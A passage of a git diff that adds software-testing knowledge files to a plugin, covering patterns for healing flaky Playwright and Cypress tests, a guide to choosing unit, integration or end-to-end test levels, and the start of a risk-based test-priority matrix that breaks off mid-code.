+// OR wait for element state
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+    `.trim();
+  }
+
+  if (testCode.includes('cy.wait(') && /cy\.wait\(\d+\)/.test(testCode)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+// cy.wait(3000)
+
+// ✅ Good: Wait for aliased network request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData')
+    `.trim();
+  }
+
+  return `
+// Add network-first interception BEFORE navigation:
+await page.route('**/api/**', route => route.continue())
+const responsePromise = page.waitForResponse('**/api/data')
+await page.goto('/page')
+await responsePromise
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/timing-healing.spec.ts
+import { test, expect } from '@playwright/test';
+import { isTimingFailure, hasHardWait, suggestDeterministicWait } from '../../src/testing/healing/timing-healing';
+
+test('heal race condition with network-first pattern', async ({ page, context }) => {
+  // Setup interception BEFORE navigation (prevent race)
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      body: JSON.stringify({ products: [{ id: 1, name: 'Product A' }] }),
+    });
+  });
+
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+  await responsePromise; // Deterministic wait
+
+  // Element now reliably visible (no race condition)
+  await expect(page.getByText('Product A')).toBeVisible();
+});
+
+test('heal hard wait with event-based wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // Element now reliably visible
+  await expect(page.getByText('Dashboard loaded')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error contains "timeout" or "not visible", often after navigation
+- Fix: Replace hard waits with network-first pattern or element state waits
+- Prevention: ALWAYS intercept before navigate, use waitForResponse()
+- Automation: Detect `page.waitForTimeout()` or `cy.wait(number)` in test code
+
+---
+
+### Example 3: Common Failure Pattern - Dynamic Data Assertions (Non-Deterministic IDs)
+
+**Context**: Test fails with "Expected 'User 123' but received 'User 456'" or timestamp mismatches
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/data-healing.ts
+
+export type DataFailure = {
+  errorMessage: string;
+  expectedValue: string;
+  actualValue: string;
+  testFile: string;
+  lineNumber: number;
+};
+
+/**
+ * Detect dynamic data assertion failures
+ */
+export function isDynamicDataFailure(error: Error): boolean {
+  const patterns = [
+    /expected.*\d+.*received.*\d+/i, // ID mismatches
+    /expected.*\d{4}-\d{2}-\d{2}.*received/i, // Date mismatches
+    /expected.*user.*\d+/i, // Dynamic user IDs
+    /expected.*order.*\d+/i, // Dynamic order IDs
+    /expected.*to.*contain.*\d+/i, // Numeric assertions
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest flexible assertion pattern
+ */
+export function suggestFlexibleAssertion(errorMessage: string): string {
+  if (/expected.*user.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded ID
+// await expect(page.getByText('User 123')).toBeVisible()
+
+// ✅ Good: Regex pattern for any user ID
+await expect(page.getByText(/User \\d+/)).toBeVisible()
+
+// OR use partial match
+await expect(page.locator('[data-testid="user-name"]')).toContainText('User')
+    `.trim();
+  }
+
+  if (/expected.*\d{4}-\d{2}-\d{2}/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded date
+// await expect(page.getByText('2024-01-15')).toBeVisible()
+
+// ✅ Good: Dynamic date validation
+const today = new Date().toISOString().split('T')[0]
+await expect(page.getByTestId('created-date')).toHaveText(today)
+
+// OR use date format regex
+await expect(page.getByTestId('created-date')).toHaveText(/\\d{4}-\\d{2}-\\d{2}/)
+    `.trim();
+  }
+
+  if (/expected.*order.*\d+/i.test(errorMessage)) {
+    return `
+// ❌ Bad: Hardcoded order ID
+// const orderId = '12345'
+
+// ✅ Good: Capture dynamic order ID
+const orderText = await page.getByTestId('order-id').textContent()
+const orderId = orderText?.match(/Order #(\\d+)/)?.[1]
+expect(orderId).toBeTruthy()
+
+// Use captured ID in later assertions
+await expect(page.getByText(\`Order #\${orderId} confirmed\`)).toBeVisible()
+    `.trim();
+  }
+
+  return `Use regex patterns, partial matching, or capture dynamic values instead of hardcoding`;
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/data-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal dynamic ID assertion with regex', async ({ page }) => {
+  await page.goto('/users');
+
+  // ❌ Original (fails with random IDs): await expect(page.getByText('User 123')).toBeVisible()
+
+  // ✅ Healed: Regex pattern matches any user ID
+  await expect(page.getByText(/User \d+/)).toBeVisible();
+});
+
+test('heal timestamp assertion with dynamic generation', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (fails daily): await expect(page.getByText('2024-01-15')).toBeVisible()
+
+  // ✅ Healed: Generate expected date dynamically
+  const today = new Date().toISOString().split('T')[0];
+  await expect(page.getByTestId('last-updated')).toContainText(today);
+});
+
+test('heal order ID assertion with capture', async ({ page, request }) => {
+  // Create order via API (dynamic ID)
+  const response = await request.post('/api/orders', {
+    data: { productId: '123', quantity: 1 },
+  });
+  const { orderId } = await response.json();
+
+  // ✅ Healed: Use captured dynamic ID
+  await page.goto(`/orders/${orderId}`);
+  await expect(page.getByText(`Order #${orderId}`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message shows expected vs actual value mismatch with IDs/timestamps
+- Fix: Use regex patterns (`/User \d+/`), partial matching, or capture dynamic values
+- Prevention: Never hardcode IDs, timestamps, or random data in assertions
+- Automation: Parse error message for expected/actual values, suggest regex patterns
+
+---
+
+### Example 4: Common Failure Pattern - Network Errors (Missing Route Interception)
+
+**Context**: Test fails with "API call failed" or "500 error" during test execution
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/network-healing.ts
+
+export type NetworkFailure = {
+  errorMessage: string;
+  url: string;
+  statusCode: number;
+  method: string;
+};
+
+/**
+ * Detect network failure
+ */
+export function isNetworkFailure(error: Error): boolean {
+  const patterns = [
+    /api.*call.*failed/i,
+    /request.*failed/i,
+    /network.*error/i,
+    /500.*internal server error/i,
+    /503.*service unavailable/i,
+    /fetch.*failed/i,
+  ];
+
+  return patterns.some((pattern) => pattern.test(error.message));
+}
+
+/**
+ * Suggest route interception
+ */
+export function suggestRouteInterception(url: string, method: string): string {
+  return `
+// ❌ Bad: Real API call (unreliable, slow, external dependency)
+
+// ✅ Good: Mock API response with route interception
+await page.route('${url}', route => {
+  route.fulfill({
+    status: 200,
+    contentType: 'application/json',
+    body: JSON.stringify({
+      // Mock response data
+      id: 1,
+      name: 'Test User',
+      email: 'test@example.com'
+    })
+  })
+})
+
+// Then perform action
+await page.goto('/page')
+  `.trim();
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/network-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal network failure with route mocking', async ({ page, context }) => {
+  // ✅ Healed: Mock API to prevent real network calls
+  await context.route('**/api/products', (route) => {
+    route.fulfill({
+      status: 200,
+      contentType: 'application/json',
+      body: JSON.stringify({
+        products: [
+          { id: 1, name: 'Product A', price: 29.99 },
+          { id: 2, name: 'Product B', price: 49.99 },
+        ],
+      }),
+    });
+  });
+
+  await page.goto('/products');
+
+  // Test now reliable (no external API dependency)
+  await expect(page.getByText('Product A')).toBeVisible();
+  await expect(page.getByText('$29.99')).toBeVisible();
+});
+
+test('heal 500 error with error state mocking', async ({ page, context }) => {
+  // Mock API failure scenario
+  await context.route('**/api/products', (route) => {
+    route.fulfill({ status: 500, body: JSON.stringify({ error: 'Internal Server Error' }) });
+  });
+
+  await page.goto('/products');
+
+  // Verify error handling (not crash)
+  await expect(page.getByText('Unable to load products')).toBeVisible();
+  await expect(page.getByRole('button', { name: 'Retry' })).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Error message contains "API call failed", "500 error", or network-related failures
+- Fix: Add `page.route()` or `cy.intercept()` to mock API responses
+- Prevention: Mock ALL external dependencies (APIs, third-party services)
+- Automation: Extract URL from error message, generate route interception code
+
+---
+
+### Example 5: Common Failure Pattern - Hard Waits (Unreliable Timing)
+
+**Context**: Test fails intermittently with "timeout exceeded" or passes/fails randomly
+
+**Diagnostic Signature**:
+
+```typescript
+// src/testing/healing/hard-wait-healing.ts
+
+/**
+ * Detect hard wait anti-pattern in test code
+ */
+export function detectHardWaits(testCode: string): Array<{ line: number; code: string }> {
+  const lines = testCode.split('\n');
+  const violations: Array<{ line: number; code: string }> = [];
+
+  lines.forEach((line, index) => {
+    if (line.includes('page.waitForTimeout(') || /cy\.wait\(\d+\)/.test(line) || line.includes('sleep(') || line.includes('setTimeout(')) {
+      violations.push({ line: index + 1, code: line.trim() });
+    }
+  });
+
+  return violations;
+}
+
+/**
+ * Suggest event-based wait replacement
+ */
+export function suggestEventBasedWait(hardWaitLine: string): string {
+  if (hardWaitLine.includes('page.waitForTimeout')) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for network response
+await page.waitForResponse(resp => resp.url().includes('/api/') && resp.ok())
+
+// OR wait for element state change
+await page.getByTestId('loading-spinner').waitFor({ state: 'detached' })
+await page.getByTestId('content').waitFor({ state: 'visible' })
+    `.trim();
+  }
+
+  if (/cy\.wait\(\d+\)/.test(hardWaitLine)) {
+    return `
+// ❌ Bad: Hard wait (flaky)
+${hardWaitLine}
+
+// ✅ Good: Wait for aliased request
+cy.intercept('GET', '/api/data').as('getData')
+cy.visit('/page')
+cy.wait('@getData') // Deterministic
+    `.trim();
+  }
+
+  return 'Replace hard waits with event-based waits (waitForResponse, waitFor state changes)';
+}
+```
+
+**Healing Implementation**:
+
+```typescript
+// tests/healing/hard-wait-healing.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('heal hard wait with deterministic wait', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // ❌ Original (flaky): await page.waitForTimeout(3000)
+
+  // ✅ Healed: Wait for loading spinner to disappear
+  await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+  // OR wait for specific network response
+  await page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.ok());
+
+  await expect(page.getByText('Dashboard ready')).toBeVisible();
+});
+
+test('heal implicit wait with explicit network wait', async ({ page }) => {
+  const responsePromise = page.waitForResponse('**/api/products');
+
+  await page.goto('/products');
+
+  // ❌ Original (race condition): await page.getByText('Product A').click()
+
+  // ✅ Healed: Wait for network first
+  await responsePromise;
+  await page.getByText('Product A').click();
+
+  await expect(page).toHaveURL(/\/products\/\d+/);
+});
+```
+
+**Key Points**:
+
+- Diagnosis: Test code contains `page.waitForTimeout()` or `cy.wait(number)`
+- Fix: Replace with `waitForResponse()`, `waitFor({ state })`, or aliased intercepts
+- Prevention: NEVER use hard waits, always use event-based/response-based waits
+- Automation: Scan test code for hard wait patterns, suggest deterministic replacements
+
+---
+
+## Healing Pattern Catalog
+
+| Failure Type   | Diagnostic Signature                          | Healing Strategy                      | Prevention Pattern                        |
+| -------------- | --------------------------------------------- | ------------------------------------- | ----------------------------------------- |
+| Stale Selector | "locator resolved to 0 elements"              | Replace with data-testid or ARIA role | Selector hierarchy (testid > ARIA > text) |
+| Race Condition | "timeout waiting for element"                 | Add network-first interception        | Intercept before navigate                 |
+| Dynamic Data   | "Expected 'User 123' but got 'User 456'"      | Use regex or capture dynamic values   | Never hardcode IDs/timestamps             |
+| Network Error  | "API call failed", "500 error"                | Add route mocking                     | Mock all external dependencies            |
+| Hard Wait      | Test contains `waitForTimeout()` or `wait(n)` | Replace with event-based waits        | Always use deterministic waits            |
+
+## Healing Workflow
+
+1. **Run test** → Capture failure
+2. **Identify pattern** → Match error against diagnostic signatures
+3. **Apply fix** → Use pattern-based healing strategy
+4. **Re-run test** → Validate fix (max 3 iterations)
+5. **Mark unfixable** → Use `test.fixme()` if healing fails after 3 attempts
+
+## Healing Checklist
+
+Before enabling auto-healing in workflows:
+
+- [ ] **Failure catalog documented**: Common patterns identified (selectors, timing, data, network, hard waits)
+- [ ] **Diagnostic signatures defined**: Error message patterns for each failure type
+- [ ] **Healing strategies documented**: Fix patterns for each failure type
+- [ ] **Prevention patterns documented**: Best practices to avoid recurrence
+- [ ] **Healing iteration limit set**: Max 3 attempts before marking test.fixme()
+- [ ] **MCP integration optional**: Graceful degradation without Playwright MCP
+- [ ] **Pattern-based fallback**: Use knowledge base patterns when MCP unavailable
+- [ ] **Healing report generated**: Document what was healed and how
+
+## Integration Points
+
+- **Used in workflows**: `*automate` (auto-healing after test generation), `*atdd` (optional healing for acceptance tests)
+- **Related fragments**: `selector-resilience.md` (selector debugging), `timing-debugging.md` (race condition fixes), `network-first.md` (interception patterns), `data-factories.md` (dynamic data handling)
+- **Tools**: Error message parsing, AST analysis for code patterns, Playwright MCP (optional), pattern matching
+
+_Source: Playwright test-healer patterns, production test failure analysis, common anti-patterns from test-resources-for-ai_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-levels-framework.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-levels-framework.md
new file mode 100644
index 0000000..ed3418a
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-levels-framework.md
@@ -0,0 +1,473 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Levels Framework
+
+Comprehensive guide for determining appropriate test levels (unit, integration, E2E) for different scenarios.
+
+## Test Level Decision Matrix
+
+### Unit Tests
+
+**When to use:**
+
+- Testing pure functions and business logic
+- Algorithm correctness
+- Input validation and data transformation
+- Error handling in isolated components
+- Complex calculations or state machines
+
+**Characteristics:**
+
+- Fast execution (immediate feedback)
+- No external dependencies (DB, API, file system)
+- Highly maintainable and stable
+- Easy to debug failures
+
+**Example scenarios:**
+
+```yaml
+unit_test:
+  component: 'PriceCalculator'
+  scenario: 'Calculate discount with multiple rules'
+  justification: 'Complex business logic with multiple branches'
+  mock_requirements: 'None - pure function'
+```
+
+### Integration Tests
+
+**When to use:**
+
+- Component interaction verification
+- Database operations and transactions
+- API endpoint contracts
+- Service-to-service communication
+- Middleware and interceptor behavior
+
+**Characteristics:**
+
+- Moderate execution time
+- Tests component boundaries
+- May use test databases or containers
+- Validates system integration points
+
+**Example scenarios:**
+
+```yaml
+integration_test:
+  components: ['UserService', 'AuthRepository']
+  scenario: 'Create user with role assignment'
+  justification: 'Critical data flow between service and persistence'
+  test_environment: 'In-memory database'
+```
+
+### End-to-End Tests
+
+**When to use:**
+
+- Critical user journeys
+- Cross-system workflows
+- Visual regression testing
+- Compliance and regulatory requirements
+- Final validation before release
+
+**Characteristics:**
+
+- Slower execution
+- Tests complete workflows
+- Requires full environment setup
+- Most realistic but most brittle
+
+**Example scenarios:**
+
+```yaml
+e2e_test:
+  journey: 'Complete checkout process'
+  scenario: 'User purchases with saved payment method'
+  justification: 'Revenue-critical path requiring full validation'
+  environment: 'Staging with test payment gateway'
+```
+
+## Test Level Selection Rules
+
+### Favor Unit Tests When:
+
+- Logic can be isolated
+- No side effects involved
+- Fast feedback needed
+- High cyclomatic complexity
+
+### Favor Integration Tests When:
+
+- Testing persistence layer
+- Validating service contracts
+- Testing middleware/interceptors
+- Component boundaries critical
+
+### Favor E2E Tests When:
+
+- User-facing critical paths
+- Multi-system interactions
+- Regulatory compliance scenarios
+- Visual regression important
+
+## Anti-patterns to Avoid
+
+- E2E testing for business logic validation
+- Unit testing framework behavior
+- Integration testing third-party libraries
+- Duplicate coverage across levels
+
+## Duplicate Coverage Guard
+
+**Before adding any test, check:**
+
+1. Is this already tested at a lower level?
+2. Can a unit test cover this instead of integration?
+3. Can an integration test cover this instead of E2E?
+
+**Coverage overlap is only acceptable when:**
+
+- Testing different aspects (unit: logic, integration: interaction, e2e: user experience)
+- Critical paths requiring defense in depth
+- Regression prevention for previously broken functionality
+
+## Test Naming Conventions
+
+- Unit: `test_{component}_{scenario}`
+- Integration: `test_{flow}_{interaction}`
+- E2E: `test_{journey}_{outcome}`
+
+## Test ID Format
+
+`{EPIC}.{STORY}-{LEVEL}-{SEQ}`
+
+Examples:
+
+- `1.3-UNIT-001`
+- `1.3-INT-002`
+- `1.3-E2E-001`
+
+## Real Code Examples
+
+### Example 1: E2E Test (Full User Journey)
+
+**Scenario**: User logs in, navigates to dashboard, and places an order.
+
+```typescript
+// tests/e2e/checkout-flow.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser, createProduct } from '../test-utils/factories';
+
+test.describe('Checkout Flow', () => {
+  test('user can complete purchase with saved payment method', async ({ page, apiRequest }) => {
+    // Setup: Seed data via API (fast!)
+    const user = createUser({ email: 'buyer@example.com', hasSavedCard: true });
+    const product = createProduct({ name: 'Widget', price: 29.99, stock: 10 });
+
+    await apiRequest.post('/api/users', { data: user });
+    await apiRequest.post('/api/products', { data: product });
+
+    // Network-first: Intercept BEFORE action
+    const loginPromise = page.waitForResponse('**/api/auth/login');
+    const cartPromise = page.waitForResponse('**/api/cart');
+    const orderPromise = page.waitForResponse('**/api/orders');
+
+    // Step 1: Login
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', user.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login-button"]');
+    await loginPromise;
+
+    // Assert: Dashboard visible
+    await expect(page).toHaveURL('/dashboard');
+    await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+
+    // Step 2: Add product to cart
+    await page.goto(`/products/${product.id}`);
+    await page.click('[data-testid="add-to-cart"]');
+    await cartPromise;
+    await expect(page.getByText('Added to cart')).toBeVisible();
+
+    // Step 3: Checkout with saved payment
+    await page.goto('/checkout');
+    await expect(page.getByText('Visa ending in 1234')).toBeVisible(); // Saved card
+    await page.click('[data-testid="use-saved-card"]');
+    await page.click('[data-testid="place-order"]');
+    await orderPromise;
+
+    // Assert: Order confirmation
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+    await expect(page.getByText(/Order #\d+/)).toBeVisible();
+    await expect(page.getByText('$29.99')).toBeVisible();
+  });
+});
+```
+
+**Key Points (E2E)**:
+
+- Tests complete user journey across multiple pages
+- API setup for data (fast), UI for assertions (user-centric)
+- Network-first interception to prevent flakiness
+- Validates critical revenue path end-to-end
+
+### Example 2: Integration Test (API/Service Layer)
+
+**Scenario**: UserService creates user and assigns role via AuthRepository.
+
+```typescript
+// tests/integration/user-service.spec.ts
+import { test, expect } from '@playwright/test';
+import { createUser } from '../test-utils/factories';
+
+test.describe('UserService Integration', () => {
+  test('should create user with admin role via API', async ({ request }) => {
+    const userData = createUser({ role: 'admin' });
+
+    // Direct API call (no UI)
+    const response = await request.post('/api/users', {
+      data: userData,
+    });
+
+    expect(response.status()).toBe(201);
+
+    const createdUser = await response.json();
+    expect(createdUser.id).toBeTruthy();
+    expect(createdUser.email).toBe(userData.email);
+    expect(createdUser.role).toBe('admin');
+
+    // Verify database state
+    const getResponse = await request.get(`/api/users/${createdUser.id}`);
+    expect(getResponse.status()).toBe(200);
+
+    const fetchedUser = await getResponse.json();
+    expect(fetchedUser.role).toBe('admin');
+    expect(fetchedUser.permissions).toContain('user:delete');
+    expect(fetchedUser.permissions).toContain('user:update');
+
+    // Cleanup
+    await request.delete(`/api/users/${createdUser.id}`);
+  });
+
+  test('should validate email uniqueness constraint', async ({ request }) => {
+    const userData = createUser({ email: 'duplicate@example.com' });
+
+    // Create first user
+    const response1 = await request.post('/api/users', { data: userData });
+    expect(response1.status()).toBe(201);
+
+    const user1 = await response1.json();
+
+    // Attempt duplicate email
+    const response2 = await request.post('/api/users', { data: userData });
+    expect(response2.status()).toBe(409); // Conflict
+    const error = await response2.json();
+    expect(error.message).toContain('Email already exists');
+
+    // Cleanup
+    await request.delete(`/api/users/${user1.id}`);
+  });
+});
+```
+
+**Key Points (Integration)**:
+
+- Tests service layer + database interaction
+- No UI involved—pure API validation
+- Business logic focus (role assignment, constraints)
+- Faster than E2E, more realistic than unit tests
+
+### Example 3: Component Test (Isolated UI Component)
+
+**Scenario**: Test button component in isolation with props and user interactions.
+
+```typescript
+// src/components/Button.cy.tsx (Cypress Component Test)
+import { Button } from './Button';
+
+describe('Button Component', () => {
+  it('should render with correct label', () => {
+    cy.mount(<Button label="Click Me" />);
+    cy.contains('Click Me').should('be.visible');
+  });
+
+  it('should call onClick handler when clicked', () => {
+    const onClickSpy = cy.stub().as('onClick');
+    cy.mount(<Button label="Submit" onClick={onClickSpy} />);
+
+    cy.get('button').click();
+    cy.get('@onClick').should('have.been.calledOnce');
+  });
+
+  it('should be disabled when disabled prop is true', () => {
+    cy.mount(<Button label="Disabled" disabled={true} />);
+    cy.get('button').should('be.disabled');
+    cy.get('button').should('have.attr', 'aria-disabled', 'true');
+  });
+
+  it('should show loading spinner when loading', () => {
+    cy.mount(<Button label="Loading" loading={true} />);
+    cy.get('[data-testid="spinner"]').should('be.visible');
+    cy.get('button').should('be.disabled');
+  });
+
+  it('should apply variant styles correctly', () => {
+    cy.mount(<Button label="Primary" variant="primary" />);
+    cy.get('button').should('have.class', 'btn-primary');
+
+    cy.mount(<Button label="Secondary" variant="secondary" />);
+    cy.get('button').should('have.class', 'btn-secondary');
+  });
+});
+
+// Playwright Component Test equivalent
+import { test, expect } from '@playwright/experimental-ct-react';
+import { Button } from './Button';
+
+test.describe('Button Component', () => {
+  test('should call onClick handler when clicked', async ({ mount }) => {
+    let clicked = false;
+    const component = await mount(
+      <Button label="Submit" onClick={() => { clicked = true; }} />
+    );
+
+    await component.getByRole('button').click();
+    expect(clicked).toBe(true);
+  });
+
+  test('should be disabled when loading', async ({ mount }) => {
+    const component = await mount(<Button label="Loading" loading={true} />);
+    await expect(component.getByRole('button')).toBeDisabled();
+    await expect(component.getByTestId('spinner')).toBeVisible();
+  });
+});
+```
+
+**Key Points (Component)**:
+
+- Tests UI component in isolation (no full app)
+- Props + user interactions + visual states
+- Faster than E2E, more realistic than unit tests for UI
+- Great for design system components
+
+### Example 4: Unit Test (Pure Function)
+
+**Scenario**: Test pure business logic function without framework dependencies.
+
+```typescript
+// src/utils/price-calculator.test.ts (Jest/Vitest)
+import { calculateDiscount, applyTaxes, calculateTotal } from './price-calculator';
+
+describe('PriceCalculator', () => {
+  describe('calculateDiscount', () => {
+    it('should apply percentage discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'percentage', value: 20 });
+      expect(result).toBe(80);
+    });
+
+    it('should apply fixed amount discount correctly', () => {
+      const result = calculateDiscount(100, { type: 'fixed', value: 15 });
+      expect(result).toBe(85);
+    });
+
+    it('should not apply discount below zero', () => {
+      const result = calculateDiscount(10, { type: 'fixed', value: 20 });
+      expect(result).toBe(0);
+    });
+
+    it('should handle no discount', () => {
+      const result = calculateDiscount(100, { type: 'none', value: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('applyTaxes', () => {
+    it('should calculate tax correctly for US', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0.08 });
+      expect(result).toBe(108);
+    });
+
+    it('should calculate tax correctly for EU (VAT)', () => {
+      const result = applyTaxes(100, { country: 'DE', rate: 0.19 });
+      expect(result).toBe(119);
+    });
+
+    it('should handle zero tax rate', () => {
+      const result = applyTaxes(100, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+
+  describe('calculateTotal', () => {
+    it('should calculate total with discount and taxes', () => {
+      const items = [
+        { price: 50, quantity: 2 }, // 100
+        { price: 30, quantity: 1 }, // 30
+      ];
+      const discount = { type: 'percentage', value: 10 }; // -13
+      const tax = { country: 'US', rate: 0.08 }; // +9.36
+
+      const result = calculateTotal(items, discount, tax);
+      expect(result).toBeCloseTo(126.36, 2);
+    });
+
+    it('should handle empty items array', () => {
+      const result = calculateTotal([], { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(0);
+    });
+
+    it('should calculate correctly without discount or tax', () => {
+      const items = [{ price: 25, quantity: 4 }];
+      const result = calculateTotal(items, { type: 'none', value: 0 }, { country: 'US', rate: 0 });
+      expect(result).toBe(100);
+    });
+  });
+});
+```
+
+**Key Points (Unit)**:
+
+- Pure function testing—no framework dependencies
+- Fast execution (milliseconds)
+- Edge case coverage (zero, negative, empty inputs)
+- High cyclomatic complexity handled at unit level
+
+## When to Use Which Level
+
+| Scenario               | Unit          | Integration       | E2E           |
+| ---------------------- | ------------- | ----------------- | ------------- |
+| Pure business logic    | ✅ Primary    | ❌ Overkill       | ❌ Overkill   |
+| Database operations    | ❌ Can't test | ✅ Primary        | ❌ Overkill   |
+| API contracts          | ❌ Can't test | ✅ Primary        | ⚠️ Supplement |
+| User journeys          | ❌ Can't test | ❌ Can't test     | ✅ Primary    |
+| Component props/events | ✅ Partial    | ⚠️ Component test | ❌ Overkill   |
+| Visual regression      | ❌ Can't test | ⚠️ Component test | ✅ Primary    |
+| Error handling (logic) | ✅ Primary    | ⚠️ Integration    | ❌ Overkill   |
+| Error handling (UI)    | ❌ Partial    | ⚠️ Component test | ✅ Primary    |
+
+## Anti-Pattern Examples
+
+**❌ BAD: E2E test for business logic**
+
+```typescript
+// DON'T DO THIS
+test('calculate discount via UI', async ({ page }) => {
+  await page.goto('/calculator');
+  await page.fill('[data-testid="price"]', '100');
+  await page.fill('[data-testid="discount"]', '20');
+  await page.click('[data-testid="calculate"]');
+  await expect(page.getByText('$80')).toBeVisible();
+});
+// Problem: Slow, brittle, tests logic that should be unit tested
+```
+
+**✅ GOOD: Unit test for business logic**
+
+```typescript
+test('calculate discount', () => {
+  expect(calculateDiscount(100, 20)).toBe(80);
+});
+// Fast, reliable, isolated
+```
+
+_Source: Murat Testing Philosophy (test pyramid), existing test-levels-framework.md structure._
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-priorities-matrix.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-priorities-matrix.md
new file mode 100644
index 0000000..deb4306
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/test-priorities-matrix.md
@@ -0,0 +1,373 @@
+<!-- Powered by BMAD-CORE™ -->
+
+# Test Priorities Matrix
+
+Guide for prioritizing test scenarios based on risk, criticality, and business impact.
+
+## Priority Levels
+
+### P0 - Critical (Must Test)
+
+**Criteria:**
+
+- Revenue-impacting functionality
+- Security-critical paths
+- Data integrity operations
+- Regulatory compliance requirements
+- Previously broken functionality (regression prevention)
+
+**Examples:**
+
+- Payment processing
+- Authentication/authorization
+- User data creation/deletion
+- Financial calculations
+- GDPR/privacy compliance
+
+**Testing Requirements:**
+
+- Comprehensive coverage at all levels
+- Both happy and unhappy paths
+- Edge cases and error scenarios
+- Performance under load
+
+### P1 - High (Should Test)
+
+**Criteria:**
+
+- Core user journeys
+- Frequently used features
+- Features with complex logic
+- Integration points between systems
+- Features affecting user experience
+
+**Examples:**
+
+- User registration flow
+- Search functionality
+- Data import/export
+- Notification systems
+- Dashboard displays
+
+**Testing Requirements:**
+
+- Primary happy paths required
+- Key error scenarios
+- Critical edge cases
+- Basic performance validation
+
+### P2 - Medium (Nice to Test)
+
+**Criteria:**
+
+- Secondary features
+- Admin functionality
+- Reporting features
+- Configuration options
+- UI polish and aesthetics
+
+**Examples:**
+
+- Admin settings panels
+- Report generation
+- Theme customization
+- Help documentation
+- Analytics tracking
+
+**Testing Requirements:**
+
+- Happy path coverage
+- Basic error handling
+- Can defer edge cases
+
+### P3 - Low (Test if Time Permits)
+
+**Criteria:**
+
+- Rarely used features
+- Nice-to-have functionality
+- Cosmetic issues
+- Non-critical optimizations
+
+**Examples:**
+
+- Advanced preferences
+- Legacy feature support
+- Experimental features
+- Debug utilities
+
+**Testing Requirements:**
+
+- Smoke tests only
+- Can rely on manual testing
+- Document known limitations
+
+## Risk-Based Priority Adjustments
+
+### Increase Priority When:
+
+- High user impact (affects >50% of users)
+- High financial impact (>$10K potential loss)
+- Security vulnerability potential
+- Compliance/legal requirements
+- Customer-reported issues
+- Complex implementation (>500 LOC)
+- Multiple system dependencies
+
+### Decrease Priority When:
+
+- Feature flag protected
+- Gradual rollout planned
+- Strong monitoring in place
+- Easy rollback capability
+- Low usage metrics
+- Simple implementation
+- Well-isolated component
+
+## Test Coverage by Priority
+
+| Priority | Unit Coverage | Integration Coverage | E2E Coverage       |
+| -------- | ------------- | -------------------- | ------------------ |
+| P0       | >90%          | >80%                 | All critical paths |
+| P1       | >80%          | >60%                 | Main happy paths   |
+| P2       | >60%          | >40%                 | Smoke tests        |
+| P3       | Best effort   | Best effort          | Manual only        |
+
+## Priority Assignment Rules
+
+1. **Start with business impact** - What happens if this fails?
+2. **Consider probability** - How likely is failure?
+3. **Factor in detectability** - Would we know if it failed?
+4. **Account for recoverability** - Can we fix it quickly?
+
+## Priority Decision Tree
+
+```
+Is it revenue-critical?
+├─ YES → P0
+└─ NO → Does it affect core user journey?
+    ├─ YES → Is it high-risk?
+    │   ├─ YES → P0
+    │   └─ NO → P1
+    └─ NO → Is it frequently used?
+        ├─ YES → P1
+        └─ NO → Is it customer-facing?
+            ├─ YES → P2
+            └─ NO → P3
+```
+
+## Test Execution Order
+
+1. Execute P0 tests first (fail fast on critical issues)
+2. Execute P1 tests second (core functionality)
+3. Execute P2 tests if time permits
+4. P3 tests only in full regression cycles
+
+## Continuous Adjustment
+
+Review and adjust priorities based on:
+
+- Production incident patterns
+- User feedback and complaints
+- Usage analytics
+- Test failure history
+- Business priority changes
+
+---
+
+## Automated Priority Classification
+
+### Example: Priority Calculator (Risk-Based Automation)
+
+```typescript
+// src/testing/priority-calculator.ts
+
+export type Priority = 'P0' | 'P1' | 'P2' | 'P3';
+
+export type PriorityFactors = {
